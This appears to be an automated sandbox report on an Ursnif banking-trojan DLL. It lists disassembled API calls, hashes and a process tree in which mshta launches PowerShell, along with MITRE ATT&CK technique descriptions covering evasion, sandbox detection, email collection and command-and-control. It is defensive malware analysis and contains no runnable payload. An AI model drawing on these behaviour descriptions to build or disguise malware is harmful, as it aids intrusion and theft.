__freea.LIBCMT ref: 6E185D6D

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B), ref: 6E17FC1E

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: edf1132a7c47f907837ed592c188a35922855cec71f33438b28dbfc3894ea60c
Instruction ID: 58efb2adac237cb6662b86579c7942bdd61da6171e43db3fc25dc78ef3d24ea2
Opcode Fuzzy Hash: edf1132a7c47f907837ed592c188a35922855cec71f33438b28dbfc3894ea60c
Instruction Fuzzy Hash: 7E31E172A0020AABDF24CFA4CC68EEF3BA9EF40710F154628EC15D7150E735C991EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E18365C, Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,0000060B,00000000,00000000,?,6E183603,0000060B,00000000,00000000,00000000,?,6E18392F,00000006,6E1B0588), ref: 6E18368E
GetLastError.KERNEL32(?,6E183603,0000060B,00000000,00000000,00000000,?,6E18392F,00000006,6E1B0588,6E1B0580,6E1B0588,00000000,00000364,?,6E17FAD8), ref: 6E18369A
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6E183603,0000060B,00000000,00000000,00000000,?,6E18392F,00000006,6E1B0588,6E1B0580,6E1B0588,00000000), ref: 6E1836A8

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ed24bc227a00d65366512db444f36434ba4495c770f916a1116e57cb51c339d3
Instruction ID: b0c831ba2c534681832d0f5d81fd8e634d50044db6470ba482354883386e06b4
Opcode Fuzzy Hash: ed24bc227a00d65366512db444f36434ba4495c770f916a1116e57cb51c339d3
Instruction Fuzzy Hash: C6012432755622ABCB124ABD8C0CA47B798BF07BA07360620F825D3340CB21DD82DEF0

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C22A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,6E18C485,6E18142E,00000050,?,?,?,?,?), ref: 6E18C305

Strings

ACP, xrefs: 6E18C248
OCP, xrefs: 6E18C27E

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: f68f48f57f6fa38fff6b60e950536cecfe5bbba82626e0cbd7dcc8ff969deed8
Instruction ID: 0222e18c5e21253ed444450453c2bd75bd103635a2b3effc53f2dd58416f71ca
Opcode Fuzzy Hash: f68f48f57f6fa38fff6b60e950536cecfe5bbba82626e0cbd7dcc8ff969deed8
Instruction Fuzzy Hash: 8C213862A54105A6E758CADCC900BC7736BABE4B14F234620ED09DF184F731DDC1EB51

Uniqueness

Uniqueness Score: -1.00%

Function 6E182635, Relevance: 5.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,0000001C,0000001C,00000000,00000000,00000000,?), ref: 6E1826CB
GetLastError.KERNEL32(?,0000001C), ref: 6E1826D9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,0000001C), ref: 6E182734

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: d52eefaeeef142916da3ab6728c47259359d9f996152519ea0ed544f4738e150
Instruction ID: 03f7bd3f5f3d16c125171b3fd5020f727e707378c07e18fb5510b1788acdc51c
Opcode Fuzzy Hash: d52eefaeeef142916da3ab6728c47259359d9f996152519ea0ed544f4738e150
Instruction Fuzzy Hash: 47412D30604256AFDF538FEAC854BAF7BB9EF25320F214159E8A55B194EB318881EF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mshta.exe PID: 6132 Parent PID: 3388 mshta.exeCOMMON

Executed Functions

Function 0000023C16CB0FB9, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000003.581040346.0000023C16CB0000.00000010.00000001.sdmp, Offset: 0000023C16CB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 875317e8c7bfc6f72d4c5b24f125f1e11437df915d823f49a25390d4bafc09bb
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 1690020479541A55D41461A10C5925C61406388190FE44580485AA0145D44D43A6A256

Uniqueness

Uniqueness Score: -1.00%

Function 0000023C16CB0FC1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000003.581040346.0000023C16CB0000.00000010.00000001.sdmp, Offset: 0000023C16CB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 875317e8c7bfc6f72d4c5b24f125f1e11437df915d823f49a25390d4bafc09bb
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 1690020479541A55D41461A10C5925C61406388190FE44580485AA0145D44D43A6A256

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 5004 Parent PID: 6132 powershell.exeCOMMON

Executed Functions

Function 00007FFAEEA11355, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.629193381.00007FFAEEA10000.00000040.00000001.sdmp, Offset: 00007FFAEEA10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d77492711a9965eef83062e71668cde1145811b1de6a1326af720a49204169e3
Instruction ID: b075cd574df3a1ba350d629d1026542c4f1458d16cbf4b460d8971b8555959df
Opcode Fuzzy Hash: d77492711a9965eef83062e71668cde1145811b1de6a1326af720a49204169e3
Instruction Fuzzy Hash: FF01677125CB0C4FD744EF0CE451AA6B7E0FB95324F50056DE58AC3655DA36E881CB46

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report lj3H69Z3Io.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Function 6E167CA0, Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 514
COMMONCrypto

Function 6E16B840, Relevance: 7.3, APIs: 1, Strings: 2, Instructions: 2034
COMMONCrypto

Function 6E141EB0, Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 271
memoryCOMMON

Function 6E18C3CB, Relevance: 6.2, APIs: 4, Instructions: 236
COMMON

Function 6E18207B, Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 338
COMMON

Function 6E189178, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Function 6E185ACA, Relevance: 4.6, APIs: 3, Instructions: 150
COMMON

Function 6E18BA6C, Relevance: 4.5, APIs: 3, Instructions: 49
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre